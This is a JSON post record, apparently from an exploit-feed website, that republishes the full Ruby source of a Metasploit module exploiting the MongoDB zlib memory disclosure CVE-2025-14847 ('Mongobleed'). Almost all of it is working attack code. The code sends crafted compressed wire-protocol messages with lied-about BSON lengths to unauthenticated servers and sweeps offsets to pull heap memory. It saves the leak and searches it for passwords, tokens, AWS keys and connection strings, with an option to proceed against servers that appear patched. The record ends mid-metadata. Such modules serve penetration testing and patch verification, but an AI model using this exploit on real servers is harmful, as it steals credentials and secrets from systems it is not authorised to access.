{"id":33340,"date":"2025-12-30T13:49:43","date_gmt":"2025-12-30T13:49:43","guid":{"rendered":"http:\/\/localhost\/?p=33340"},"modified":"2025-12-30T13:49:43","modified_gmt":"2025-12-30T13:49:43","slug":"mongodb-memory-disclosure-cve-2025-14847-mongobleed","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=33340","title":{"rendered":"MongoDB Memory Disclosure (CVE-2025-14847) &#8211; Mongobleed_MSF:AUXILIARY-SCANNER-MONGODB-CVE_2025_14847_MONGOBLEED-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-30T19:04:46&#8243;,&#8221;description&#8221;:&#8221;This module exploits a memory disclosure vulnerability in MongoDB&#8217;s zlib decompression handling CVE-2025-14847. By sending crafted OPCOMPRESSED messages with inflated BSON document lengths, the server reads beyond the decompressed buffer and returns&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-30T18:58:44&#8243;,&#8221;modified&#8221;:&#8221;2025-12-30T18:58:44&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;MongoDB Memory Disclosure (CVE-2025-14847) &#8211; Mongobleed&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:AUXILIARY-SCANNER-MONGODB-CVE_2025_14847_MONGOBLEED-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-14847&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n  include Msf::Exploit::Remote::Tcp\\n  include Msf::Auxiliary::Scanner\\n  include Msf::Auxiliary::Report\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;MongoDB Memory Disclosure (CVE-2025-14847) &#8211; Mongobleed&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module exploits a memory disclosure vulnerability in MongoDB&#8217;s zlib\\n          decompression handling (CVE-2025-14847). By sending crafted OP_COMPRESSED\\n          messages with inflated BSON document lengths, the server reads beyond the\\n          decompressed buffer and returns leaked memory contents in error messages.\\n\\n          The vulnerability allows unauthenticated remote attackers to leak server\\n          memory which may contain sensitive information such as credentials, session\\n          tokens, encryption keys, or other application data.\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Alexander Hagenah&#8217;, # Metasploit module (x.com\/xaitax)\\n          &#8216;Diego Ledda&#8217;, # Co-author \\u0026 review (x.com\/jbx81)\\n          &#8216;Joe Desimone&#8217; # Original discovery and PoC (x.com\/dez_)\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2025-14847&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/www.wiz.io\/blog\/mongobleed-cve-2025-14847-exploited-in-the-wild-mongodb&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/jira.mongodb.org\/browse\/SERVER-115508&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/x.com\/dez_&#8217;]\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-12-19&#8217;,\\n        &#8216;DefaultOptions&#8217; =\\u003e {\\n          &#8216;RPORT&#8217; =\\u003e 27017\\n        },\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION]\\n        }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        Opt::RPORT(27017),\\n        OptInt.new(&#8216;MIN_OFFSET&#8217;, [true, &#8216;Minimum BSON document length offset&#8217;, 20]),\\n        OptInt.new(&#8216;MAX_OFFSET&#8217;, [true, &#8216;Maximum BSON document length offset&#8217;, 8192]),\\n        OptInt.new(&#8216;STEP_SIZE&#8217;, [true, &#8216;Offset increment (higher = faster, less thorough)&#8217;, 1]),\\n        OptInt.new(&#8216;BUFFER_PADDING&#8217;, [true, &#8216;Padding added to buffer size claim&#8217;, 500]),\\n        OptInt.new(&#8216;LEAK_THRESHOLD&#8217;, [true, &#8216;Minimum bytes to report as interesting leak&#8217;, 10]),\\n        OptBool.new(&#8216;QUICK_SCAN&#8217;, [true, &#8216;Quick scan mode &#8211; sample key offsets only&#8217;, false]),\\n        OptInt.new(&#8216;REPEAT&#8217;, [true, &#8216;Number of scan passes (more passes = more data)&#8217;, 1])\\n      ]\\n    )\\n\\n    register_advanced_options(\\n      [\\n        OptBool.new(&#8216;SHOW_ALL_LEAKS&#8217;, [true, &#8216;Show all leaked fragments, not just large ones&#8217;, false]),\\n        OptBool.new(&#8216;SHOW_HEX&#8217;, [true, &#8216;Show hexdump of leaked data&#8217;, false]),\\n        OptString.new(&#8216;SECRETS_PATTERN&#8217;, [true, &#8216;Regex pattern to detect sensitive data&#8217;, &#8216;password|secret|key|token|admin|AKIA|Bearer|mongodb:\/\/|mongo:|conn|auth&#8217;]),\\n        OptBool.new(&#8216;FORCE_EXPLOIT&#8217;, [true, &#8216;Attempt exploitation even if version check indicates not vulnerable&#8217;, false]),\\n        OptInt.new(&#8216;PROGRESS_INTERVAL&#8217;, [true, &#8216;Show progress every N offsets (0 to disable)&#8217;, 500])\\n      ]\\n    )\\n  end\\n\\n  # MongoDB Wire Protocol constants\\n  OP_QUERY = 2004       # Legacy query opcode\\n  OP_REPLY = 1          # Legacy reply opcode\\n  OP_COMPRESSED = 2012\\n  OP_MSG = 2013\\n  COMPRESSOR_ZLIB = 2\\n\\n  def check_vulnerable_version(version_str)\\n    # Parse version for comparison\\n    version_match = version_str.match(\/^(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\/)\\n    return :unknown unless version_match\\n\\n    mongodb_version = Rex::Version.new(version_match[1])\\n\\n    # Check against vulnerable version ranges per MongoDB JIRA SERVER-115508\\n    if mongodb_version.between?(Rex::Version.new(&#8216;3.6.0&#8217;), Rex::Version.new(&#8216;3.6.99&#8217;)) ||\\n       mongodb_version.between?(Rex::Version.new(&#8216;4.0.0&#8217;), Rex::Version.new(&#8216;4.0.99&#8217;)) ||\\n       mongodb_version.between?(Rex::Version.new(&#8216;4.2.0&#8217;), Rex::Version.new(&#8216;4.2.99&#8217;))\\n      return :vulnerable_eol\\n    elsif mongodb_version.between?(Rex::Version.new(&#8216;4.4.0&#8217;), Rex::Version.new(&#8216;4.4.29&#8217;)) ||\\n          mongodb_version.between?(Rex::Version.new(&#8216;5.0.0&#8217;), Rex::Version.new(&#8216;5.0.31&#8217;)) ||\\n          mongodb_version.between?(Rex::Version.new(&#8216;6.0.0&#8217;), Rex::Version.new(&#8216;6.0.26&#8217;)) ||\\n          mongodb_version.between?(Rex::Version.new(&#8216;7.0.0&#8217;), Rex::Version.new(&#8216;7.0.27&#8217;)) ||\\n          mongodb_version.between?(Rex::Version.new(&#8216;8.0.0&#8217;), Rex::Version.new(&#8216;8.0.16&#8217;)) ||\\n          mongodb_version.between?(Rex::Version.new(&#8216;8.2.0&#8217;), Rex::Version.new(&#8216;8.2.2&#8217;))\\n      return :vulnerable\\n    elsif (mongodb_version \\u003e= Rex::Version.new(&#8216;4.4.30&#8217;) \\u0026\\u0026 mongodb_version \\u003c Rex::Version.new(&#8216;5.0.0&#8217;)) ||\\n          (mongodb_version \\u003e= Rex::Version.new(&#8216;5.0.32&#8217;) \\u0026\\u0026 mongodb_version \\u003c Rex::Version.new(&#8216;6.0.0&#8217;)) ||\\n          (mongodb_version \\u003e= Rex::Version.new(&#8216;6.0.27&#8217;) \\u0026\\u0026 mongodb_version \\u003c Rex::Version.new(&#8216;7.0.0&#8217;)) ||\\n          (mongodb_version \\u003e= Rex::Version.new(&#8216;7.0.28&#8217;) \\u0026\\u0026 mongodb_version \\u003c Rex::Version.new(&#8216;8.0.0&#8217;)) ||\\n          (mongodb_version \\u003e= Rex::Version.new(&#8216;8.0.17&#8217;) \\u0026\\u0026 mongodb_version \\u003c Rex::Version.new(&#8216;8.2.0&#8217;)) ||\\n          (mongodb_version \\u003e= Rex::Version.new(&#8216;8.2.3&#8217;))\\n      return :patched\\n    end\\n\\n    :unknown\\n  end\\n\\n  def run_host(ip)\\n    # Version detection and vulnerability check\\n    version_info = get_mongodb_version\\n\\n    if version_info\\n      version_str = version_info[:version]\\n      print_status(\\&#8221;MongoDB version: #{version_str}\\&#8221;)\\n\\n      vuln_status = check_vulnerable_version(version_str)\\n      case vuln_status\\n      when :vulnerable_eol\\n        print_good(\\&#8221;Version #{version_str} is VULNERABLE (EOL, no fix available)\\&#8221;)\\n      when :vulnerable\\n        print_good(\\&#8221;Version #{version_str} is VULNERABLE to CVE-2025-14847\\&#8221;)\\n      when :patched\\n        print_warning(\\&#8221;Version #{version_str} appears to be PATCHED\\&#8221;)\\n        unless datastore[&#8216;FORCE_EXPLOIT&#8217;]\\n          print_status(&#8216;Set FORCE_EXPLOIT=true to attempt exploitation anyway&#8217;)\\n          return\\n        end\\n        print_status(&#8216;FORCE_EXPLOIT enabled, continuing&#8230;&#8217;)\\n      when :unknown\\n        print_warning(\\&#8221;Version #{version_str} &#8211; vulnerability status unknown\\&#8221;)\\n        print_status(&#8216;Proceeding with exploitation attempt&#8230;&#8217;)\\n      end\\n    else\\n      print_warning(&#8216;Could not determine MongoDB version&#8217;)\\n      print_status(&#8216;Proceeding with exploitation attempt&#8230;&#8217;)\\n    end\\n\\n    # Perform the memory leak exploitation\\n    exploit_memory_leak(ip, version_info)\\n  end\\n\\n  def get_mongodb_version\\n    connect\\n\\n    # Build buildInfo command using legacy OP_QUERY\\n    # This works without authentication on most MongoDB configurations\\n    response = send_command(&#8216;admin&#8217;, { &#8216;buildInfo&#8217; =\\u003e 1 })\\n    disconnect\\n\\n    return nil if response.nil?\\n\\n    # Parse BSON response to extract version\\n    parse_build_info(response)\\n  rescue ::Rex::ConnectionError, ::Errno::ECONNRESET =\\u003e e\\n    vprint_error(\\&#8221;Connection error during version check: #{e.message}\\&#8221;)\\n    nil\\n  rescue StandardError =\\u003e e\\n    vprint_error(\\&#8221;Error getting MongoDB version: #{e.message}\\&#8221;)\\n    nil\\n  ensure\\n    begin\\n      disconnect\\n    rescue StandardError\\n      nil\\n    end\\n  end\\n\\n  def send_command(database, command)\\n    # Build BSON document for command\\n    bson_doc = build_bson_document(command)\\n\\n    # Build OP_QUERY packet\\n    # flags (4 bytes) + fullCollectionName + numberToSkip (4) + numberToReturn (4) + query\\n    collection_name = \\&#8221;#{database}.$cmd\\\\x00\\&#8221;\\n\\n    query_body = [0].pack(&#8216;V&#8217;)              # flags\\n    query_body \\u003c\\u003c collection_name           # fullCollectionName (null-terminated)\\n    query_body \\u003c\\u003c [0].pack(&#8216;V&#8217;)             # numberToSkip\\n    query_body \\u003c\\u003c [1].pack(&#8216;V&#8217;)             # numberToReturn\\n    query_body \\u003c\\u003c bson_doc                  # query document\\n\\n    # Build header\\n    request_id = rand(0xFFFFFFFF)\\n    message_length = 16 + query_body.length\\n    header = [message_length, request_id, 0, OP_QUERY].pack(&#8216;VVVV&#8217;)\\n\\n    # Send and receive\\n    sock.put(header + query_body)\\n\\n    # Read response\\n    response_header = sock.get_once(16, 5)\\n    return nil if response_header.nil? || response_header.length \\u003c 16\\n\\n    msg_len, _req_id, _resp_to, opcode = response_header.unpack(&#8216;VVVV&#8217;)\\n    return nil unless opcode == OP_REPLY\\n\\n    # Read rest of response\\n    remaining = msg_len &#8211; 16\\n    return nil if remaining \\u003c= 0\\n\\n    response_body = sock.get_once(remaining, 5)\\n    return nil if response_body.nil?\\n\\n    # OP_REPLY structure:\\n    # responseFlags (4) + cursorID (8) + startingFrom (4) + numberReturned (4) + documents\\n    return nil if response_body.length \\u003c 20\\n\\n    response_body[20..] # Return documents portion\\n  end\\n\\n  def build_bson_document(hash)\\n    doc = &#8221;.b\\n\\n    hash.each do |key, value|\\n      case value\\n      when Integer\\n        if value.between?(-2_147_483_648, 2_147_483_647)\\n          doc \\u003c\\u003c \\&#8221;\\\\x10\\&#8221;                      # int32 type\\n          doc \\u003c\\u003c \\&#8221;#{key}\\\\x00\\&#8221;                # key (cstring)\\n          doc \\u003c\\u003c [value].pack(&#8216;V&#8217;)           # value\\n        else\\n          doc \\u003c\\u003c \\&#8221;\\\\x12\\&#8221;                      # int64 type\\n          doc \\u003c\\u003c \\&#8221;#{key}\\\\x00\\&#8221;\\n          doc \\u003c\\u003c [value].pack(&#8216;q\\u003c&#8217;)\\n        end\\n      when Float\\n        doc \\u003c\\u003c \\&#8221;\\\\x01\\&#8221;                        # double type\\n        doc \\u003c\\u003c \\&#8221;#{key}\\\\x00\\&#8221;\\n        doc \\u003c\\u003c [value].pack(&#8216;E&#8217;)\\n      when String\\n        doc \\u003c\\u003c \\&#8221;\\\\x02\\&#8221;                        # string type\\n        doc \\u003c\\u003c \\&#8221;#{key}\\\\x00\\&#8221;\\n        doc \\u003c\\u003c [value.length + 1].pack(&#8216;V&#8217;)  # string length (including null)\\n        doc \\u003c\\u003c \\&#8221;#{value}\\\\x00\\&#8221;\\n      when TrueClass, FalseClass\\n        doc \\u003c\\u003c \\&#8221;\\\\x08\\&#8221;                        # boolean type\\n        doc \\u003c\\u003c \\&#8221;#{key}\\\\x00\\&#8221;\\n        doc \\u003c\\u003c (value ? \\&#8221;\\\\x01\\&#8221; : \\&#8221;\\\\x00\\&#8221;)\\n      end\\n    end\\n\\n    doc \\u003c\\u003c \\&#8221;\\\\x00\\&#8221; # Document terminator\\n    [doc.length + 4].pack(&#8216;V&#8217;) + doc # Prepend document length\\n  end\\n\\n  def parse_build_info(bson_data)\\n    return nil if bson_data.nil? || bson_data.length \\u003c 5\\n\\n    result = {}\\n\\n    # Parse BSON document\\n    doc_len = bson_data[0, 4].unpack1(&#8216;V&#8217;)\\n    return nil if doc_len \\u003e bson_data.length\\n\\n    pos = 4\\n    while pos \\u003c doc_len &#8211; 1\\n      type = bson_data[pos].ord\\n      break if type == 0\\n\\n      pos += 1\\n\\n      # Read key (cstring)\\n      key_end = bson_data.index(\\&#8221;\\\\x00\\&#8221;, pos)\\n      break if key_end.nil?\\n\\n      key = bson_data[pos&#8230;key_end]\\n      pos = key_end + 1\\n\\n      case type\\n      when 0x02  # String\\n        str_len = bson_data[pos, 4].unpack1(&#8216;V&#8217;)\\n        value = bson_data[pos + 4, str_len &#8211; 1]\\n        pos += 4 + str_len\\n\\n        case key\\n        when &#8216;version&#8217;\\n          result[:version] = value\\n        when &#8216;gitVersion&#8217;\\n          result[:git_version] = value\\n        when &#8216;sysInfo&#8217;\\n          result[:sys_info] = value\\n        end\\n      when 0x03  # Embedded document\\n        sub_doc_len = bson_data[pos, 4].unpack1(&#8216;V&#8217;)\\n        if key == &#8216;buildEnvironment&#8217;\\n          # Could parse this for more details\\n        end\\n        pos += sub_doc_len\\n      when 0x10  # int32\\n        pos += 4\\n      when 0x12  # int64\\n        pos += 8\\n      when 0x01  # double\\n        pos += 8\\n      when 0x08  # boolean\\n        pos += 1\\n      when 0x04  # array\\n        arr_len = bson_data[pos, 4].unpack1(&#8216;V&#8217;)\\n        pos += arr_len\\n      else\\n        # Unknown type, try to continue\\n        break\\n      end\\n    end\\n\\n    # Try alternate method if version not found (using hello\/isMaster)\\n    result[:version] ||= try_hello_command\\n\\n    result[:version] ? result : nil\\n  end\\n\\n  def try_hello_command\\n    begin\\n      response = send_command(&#8216;admin&#8217;, { &#8216;hello&#8217; =\\u003e 1 })\\n      return nil if response.nil?\\n\\n      # Look for version string in response\\n      if response =~ \/(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\/\\n        return ::Regexp.last_match(1)\\n      end\\n    rescue StandardError\\n      nil\\n    end\\n    nil\\n  end\\n\\n  def exploit_memory_leak(ip, version_info)\\n    all_leaked = &#8221;.b\\n    unique_leaks = Set.new\\n    secrets_found = []\\n\\n    # Determine offsets to scan\\n    offsets = generate_scan_offsets\\n    total_offsets = offsets.size\\n    repeat_count = datastore[&#8216;REPEAT&#8217;]\\n\\n    if repeat_count \\u003e 1\\n      print_status(\\&#8221;Running #{repeat_count} scan passes to maximize data collection&#8230;\\&#8221;)\\n    end\\n\\n    # Track overall progress\\n    progress_interval = datastore[&#8216;PROGRESS_INTERVAL&#8217;]\\n    Time.now\\n\\n    1.upto(repeat_count) do |pass|\\n      if repeat_count \\u003e 1\\n        print_status(\\&#8221;=== Pass #{pass}\/#{repeat_count} ===\\&#8221;)\\n      end\\n\\n      print_status(\\&#8221;Scanning #{total_offsets} offsets (#{datastore[&#8216;MIN_OFFSET&#8217;]}-#{datastore[&#8216;MAX_OFFSET&#8217;]}, step=#{datastore[&#8216;STEP_SIZE&#8217;]}#{datastore[&#8216;QUICK_SCAN&#8217;] ? &#8216;, quick mode&#8217; : &#8221;})\\&#8221;)\\n\\n      start_time = Time.now\\n      scanned = 0\\n      pass_leaks = 0\\n\\n      offsets.each do |doc_len|\\n        # Progress reporting\\n        scanned += 1\\n        if progress_interval \\u003e 0 \\u0026\\u0026 (scanned % progress_interval == 0)\\n          elapsed = Time.now &#8211; start_time\\n          rate = scanned \/ elapsed\\n          remaining = ((total_offsets &#8211; scanned) \/ rate).round\\n          print_status(\\&#8221;Progress: #{scanned}\/#{total_offsets} (#{(scanned * 100.0 \/ total_offsets).round(1)}%) &#8211; #{unique_leaks.size} leaks found &#8211; ETA: #{remaining}s\\&#8221;)\\n        end\\n\\n        response = send_probe(doc_len, doc_len + datastore[&#8216;BUFFER_PADDING&#8217;])\\n        next if response.nil? || response.empty?\\n\\n        leaks = extract_leaks(response)\\n        leaks.each do |data|\\n          next if unique_leaks.include?(data)\\n\\n          unique_leaks.add(data)\\n          all_leaked \\u003c\\u003c data\\n          pass_leaks += 1\\n\\n          # Check for interesting patterns\\n          check_secrets(data, doc_len, secrets_found)\\n\\n          # Report large leaks or all if configured\\n          next unless data.length \\u003e datastore[&#8216;LEAK_THRESHOLD&#8217;] || datastore[&#8216;SHOW_ALL_LEAKS&#8217;]\\n\\n          preview = data.gsub(\/[^[:print:]]\/, &#8216;.&#8217;)[0, 80]\\n          print_good(\\&#8221;offset=#{doc_len.to_s.ljust(4)} len=#{data.length.to_s.ljust(4)}: #{preview}\\&#8221;)\\n\\n          # Show hex dump if enabled\\n          if datastore[&#8216;SHOW_HEX&#8217;] \\u0026\\u0026 !data.empty?\\n            print_hexdump(data)\\n          end\\n        end\\n      rescue ::Rex::ConnectionError, ::Errno::ECONNRESET =\\u003e e\\n        vprint_error(\\&#8221;Connection error at offset #{doc_len}: #{e.message}\\&#8221;)\\n        next\\n      rescue ::Timeout::Error\\n        vprint_error(\\&#8221;Timeout at offset #{doc_len}\\&#8221;)\\n        next\\n      end\\n\\n      # Pass summary\\n      if repeat_count \\u003e 1\\n        print_status(\\&#8221;Pass #{pass} complete: #{pass_leaks} new leaks (#{unique_leaks.size} total unique)\\&#8221;)\\n      end\\n    end\\n\\n    # Overall summary and loot storage\\n    if !all_leaked.empty?\\n      print_line\\n      print_good(\\&#8221;Total leaked: #{all_leaked.length} bytes\\&#8221;)\\n      print_good(\\&#8221;Unique fragments: #{unique_leaks.size}\\&#8221;)\\n\\n      # Store leaked data as loot\\n      loot_info = &#8216;MongoDB Memory Disclosure (CVE-2025-14847)&#8217;\\n      loot_info += \\&#8221; &#8211; Version: #{version_info[:version]}\\&#8221; if version_info\\u0026.dig(:version)\\n\\n      path = store_loot(\\n        &#8216;mongodb.memory_leak&#8217;,\\n        &#8216;application\/octet-stream&#8217;,\\n        ip,\\n        all_leaked,\\n        &#8216;mongobleed.bin&#8217;,\\n        loot_info\\n      )\\n      print_good(\\&#8221;Leaked data saved to: #{path}\\&#8221;)\\n\\n      # Report found secrets\\n      if secrets_found.any?\\n        print_line\\n        print_warning(&#8216;Potential secrets detected:&#8217;)\\n        secrets_found.uniq.each do |secret|\\n          print_warning(\\&#8221;  &#8211; #{secret}\\&#8221;)\\n        end\\n      end\\n\\n      # Report the vulnerability\\n      vuln_info = \\&#8221;Leaked #{all_leaked.length} bytes of server memory\\&#8221;\\n      vuln_info += \\&#8221; (MongoDB #{version_info[:version]})\\&#8221; if version_info\\u0026.dig(:version)\\n\\n      report_vuln(\\n        host: ip,\\n        port: rport,\\n        proto: &#8216;tcp&#8217;,\\n        name: name,\\n        refs: references,\\n        info: vuln_info\\n      )\\n    else\\n      print_status(\\&#8221;No data leaked from #{ip}:#{rport}\\&#8221;)\\n    end\\n  end\\n\\n  def send_probe(doc_len, buffer_size)\\n    # Build minimal BSON content &#8211; we lie about total length to trigger the bug\\n    # int32 field \\&#8221;a\\&#8221; with value 1\\n    bson_content = \\&#8221;\\\\x10a\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\&#8221;.b\\n\\n    # BSON document with inflated length (this is the key to the exploit)\\n    bson = [doc_len].pack(&#8216;V&#8217;) + bson_content\\n\\n    # Wrap in OP_MSG structure\\n    # flags (4 bytes) + section kind (1 byte) + BSON\\n    op_msg = [0].pack(&#8216;V&#8217;) + \\&#8221;\\\\x00\\&#8221;.b + bson\\n\\n    # Compress the OP_MSG payload\\n    compressed_data = Zlib::Deflate.deflate(op_msg)\\n\\n    # Build OP_COMPRESSED payload\\n    # originalOpcode (4 bytes) + uncompressedSize (4 bytes) + compressorId (1 byte) + compressedData\\n    payload = [OP_MSG].pack(&#8216;V&#8217;)\\n    payload \\u003c\\u003c [buffer_size].pack(&#8216;V&#8217;) # Claimed uncompressed size (inflated)\\n    payload \\u003c\\u003c [COMPRESSOR_ZLIB].pack(&#8216;C&#8217;)\\n    payload \\u003c\\u003c compressed_data\\n\\n    # MongoDB wire protocol header\\n    # messageLength (4 bytes) + requestID (4 bytes) + responseTo (4 bytes) + opCode (4 bytes)\\n    message_length = 16 + payload.length\\n    header = [message_length, 1, 0, OP_COMPRESSED].pack(&#8216;VVVV&#8217;)\\n\\n    # Send and receive with proper cleanup\\n    response = nil\\n    begin\\n      connect\\n      sock.put(header + payload)\\n      response = recv_mongo_response\\n    ensure\\n      begin\\n        disconnect\\n      rescue StandardError\\n        nil\\n      end\\n    end\\n\\n    response\\n  end\\n\\n  def recv_mongo_response\\n    # Read header first (16 bytes minimum)\\n    header = sock.get_once(16, 2)\\n    return nil if header.nil? || header.length \\u003c 4\\n\\n    msg_len = header.unpack1(&#8216;V&#8217;)\\n    return header if msg_len \\u003c= 16\\n\\n    # Read remaining data\\n    remaining = msg_len &#8211; header.length\\n    if remaining \\u003e 0\\n      data = sock.get_once(remaining, 2)\\n      return header if data.nil?\\n\\n      header + data\\n    else\\n      header\\n    end\\n  rescue ::Timeout::Error, ::EOFError\\n    nil\\n  end\\n\\n  def extract_leaks(response)\\n    return [] if response.nil? || response.length \\u003c 25\\n\\n    leaks = []\\n\\n    begin\\n      msg_len = response.unpack1(&#8216;V&#8217;)\\n      return [] if msg_len \\u003e response.length\\n\\n      # Check if response is compressed (opcode at offset 12)\\n      opcode = response[12, 4].unpack1(&#8216;V&#8217;)\\n\\n      if opcode == OP_COMPRESSED\\n        # Decompress: skip header (16) + originalOpcode (4) + uncompressedSize (4) + compressorId (1) = 25 bytes\\n        raw = Zlib::Inflate.inflate(response[25, msg_len &#8211; 25])\\n      else\\n        # Uncompressed OP_MSG &#8211; skip header\\n        raw = response[16, msg_len &#8211; 16]\\n      end\\n\\n      return [] if raw.nil?\\n\\n      # Extract field names from BSON parsing errors\\n      # These contain memory leaked as \\&#8221;field names\\&#8221;\\n      raw.scan(\/field name &#8216;([^&#8217;]*)&#8217;\/) do |match|\\n        data = match[0]\\n        # Filter out known legitimate field names\\n        next if data.nil? || data.empty?\\n        next if [&#8216;?&#8217;, &#8216;a&#8217;, &#8216;$db&#8217;, &#8216;ping&#8217;, &#8216;ok&#8217;, &#8216;errmsg&#8217;, &#8216;code&#8217;, &#8216;codeName&#8217;].include?(data)\\n\\n        leaks \\u003c\\u003c data\\n      end\\n\\n      # Extract type bytes from unrecognized BSON type errors\\n      raw.scan(\/(?:unrecognized|unknown|invalid)\\\\s+(?:BSON\\\\s+)?type[:\\\\s]+(\\\\d+)\/i) do |match|\\n        type_byte = match[0].to_i \\u0026 0xFF\\n        leaks \\u003c\\u003c type_byte.chr if type_byte \\u003e 0\\n      end\\n    rescue Zlib::Error =\\u003e e\\n      vprint_error(\\&#8221;Decompression error: #{e.message}\\&#8221;)\\n    rescue StandardError =\\u003e e\\n      vprint_error(\\&#8221;Error extracting leaks: #{e.message}\\&#8221;)\\n    end\\n\\n    leaks\\n  end\\n\\n  def check_secrets(data, offset, secrets_found)\\n    pattern = Regexp.new(datastore[&#8216;SECRETS_PATTERN&#8217;], Regexp::IGNORECASE)\\n    return unless data =~ pattern\\n\\n    match = ::Regexp.last_match[0]\\n    match_pos = ::Regexp.last_match.begin(0)\\n\\n    # Extract context around the match (20 chars before and after)\\n    context_start = [match_pos &#8211; 20, 0].max\\n    context_end = [match_pos + match.length + 20, data.length].min\\n    context = data[context_start&#8230;context_end].gsub(\/[^[:print:]]\/, &#8216;.&#8217;)\\n\\n    # Highlight position in context\\n    secret_info = \\&#8221;Pattern &#8216;#{match}&#8217; at offset #{offset}\\&#8221;\\n    secret_info += \\&#8221; (pos #{match_pos}): &#8230;#{context}&#8230;\\&#8221;\\n\\n    secrets_found \\u003c\\u003c secret_info\\n    print_warning(\\&#8221;Secret pattern detected at offset #{offset}: &#8216;#{match}&#8217; in context: &#8230;#{context}&#8230;\\&#8221;)\\n  end\\n\\n  def generate_scan_offsets\\n    min_off = datastore[&#8216;MIN_OFFSET&#8217;]\\n    max_off = datastore[&#8216;MAX_OFFSET&#8217;]\\n    step = datastore[&#8216;STEP_SIZE&#8217;]\\n\\n    if datastore[&#8216;QUICK_SCAN&#8217;]\\n      # Quick scan mode: sample key offsets that typically yield results\\n      # Based on common BSON document sizes and memory alignment\\n      quick_offsets = []\\n\\n      # Small offsets (header area)\\n      quick_offsets += (20..100).step(5).to_a\\n\\n      # Power of 2 boundaries (common allocation sizes)\\n      [128, 256, 512, 1024, 2048, 4096, 8192].each do |boundary|\\n        next if boundary \\u003c min_off || boundary \\u003e max_off\\n\\n        # Sample around boundaries\\n        (-10..10).step(2).each do |delta|\\n          off = boundary + delta\\n          quick_offsets \\u003c\\u003c off if off \\u003e= min_off \\u0026\\u0026 off \\u003c= max_off\\n        end\\n      end\\n\\n      # Sample every 128 bytes for broader coverage\\n      quick_offsets += (min_off..max_off).step(128).to_a\\n\\n      quick_offsets.uniq.sort.select { |o| o \\u003e= min_off \\u0026\\u0026 o \\u003c= max_off }\\n    else\\n      # Normal scan with step size\\n      (min_off..max_off).step(step).to_a\\n    end\\n  end\\n\\n  def print_hexdump(data)\\n    return if data.nil? || data.empty?\\n\\n    # Print hexdump in classic format (16 bytes per line)\\n    offset = 0\\n    data.bytes.each_slice(16) do |chunk|\\n      hex_part = chunk.map { |b| &#8216;%02x&#8217; % b }.join(&#8216; &#8216;)\\n      ascii_part = chunk.map { |b| (b \\u003e= 32 \\u0026\\u0026 b \\u003c 127) ? b.chr : &#8216;.&#8217; }.join\\n\\n      # Pad hex part if less than 16 bytes\\n      hex_part = hex_part.ljust(47)\\n\\n      print_line(\\&#8221;    #{(&#8216;%04x&#8217; % offset)}  #{hex_part}  |#{ascii_part}|\\&#8221;)\\n      offset += 16\\n\\n      # Limit output to avoid flooding console\\n      break if offset \\u003e= 256\\n    end\\n    print_line(&#8216;    &#8230;&#8217;) if data.length \\u003e 256\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/scanner\/mongodb\/cve_2025_14847_mongobleed.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.7,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:N\/VI:N\/SI:N\/VA:N\/SA:N&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221